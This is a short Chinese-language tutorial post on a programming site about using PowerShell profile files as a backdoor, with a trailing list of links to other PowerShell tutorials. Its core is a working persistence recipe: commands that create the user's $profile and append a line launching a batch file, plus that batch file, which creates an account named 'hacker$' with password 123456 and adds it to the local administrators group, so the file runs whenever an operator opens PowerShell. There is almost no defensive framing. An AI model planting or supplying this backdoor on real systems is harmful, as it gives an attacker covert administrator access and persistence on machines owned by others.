PowerShell教程
PowerShell配置文件后门
本文主要是介绍PowerShell配置文件后门，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！
PowerShell 配置文件是在 PowerShell 启动时运行的脚本。
在某些情况下，攻击者可以通过滥用PowerShell配置文件来获得持久性和提升特权。修改这些配置文件，以包括任意命令，功能，模块和/或PowerShell驱动器来获得持久性。
案例
echo $profile Test-path $profile # 结果返回false，表示没有该文件 New-Item –Path $Profile –Type File –Force # 强制创建一个 $string = 'Start-Process "C:\ProgramData\1.bat"' $string | Out-File -FilePath $profile -Append # 把变量$string内容写入到配置文件 more $profile
1.bat
net user hacker$ 123456 /add && net localgroup administrators hacker$ /add
运维人员只要打开powershell，就会执行`1.bat`脚本。
这篇关于PowerShell配置文件后门的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！
您可能喜欢
-
SharePoint 2019 用 PowerShell将启用发布功能站点网站集另存为模板09-14
-
PowerShell教程 - 程序性能和BUG分析工具08-30
-
PowerShell教程 - 模块管理（Modules Management）08-30
-
PowerShell教程 - Web requests（Web请求）08-29
-
PowerShell教程 - 日期时间管理（Date & Time Management）08-26
-
PowerShell教程 - 磁盘与硬件管理（Disk & Hardware Management）08-25
-
PowerShell教程 - 系统事件管理（System Event Management）08-25
-
PowerShell教程 - 文件系统管理（File System Management）08-25
-
PowerShell教程 - 网络管理（Network Management）08-24
-
PowerShell08-24
-
PowerShell教程 - 用户和组管理（User && Group）08-23
-
PowerShell教程 - 数值管理（Working With Number）08-23
-
ssh之powershell08-23
-
PowerShell教程 - PowerShell安装与启动（PowerShell Install）08-21
-
PowerShell教程 - PowerShell编辑器（PowerShell editors）08-21
栏目导航
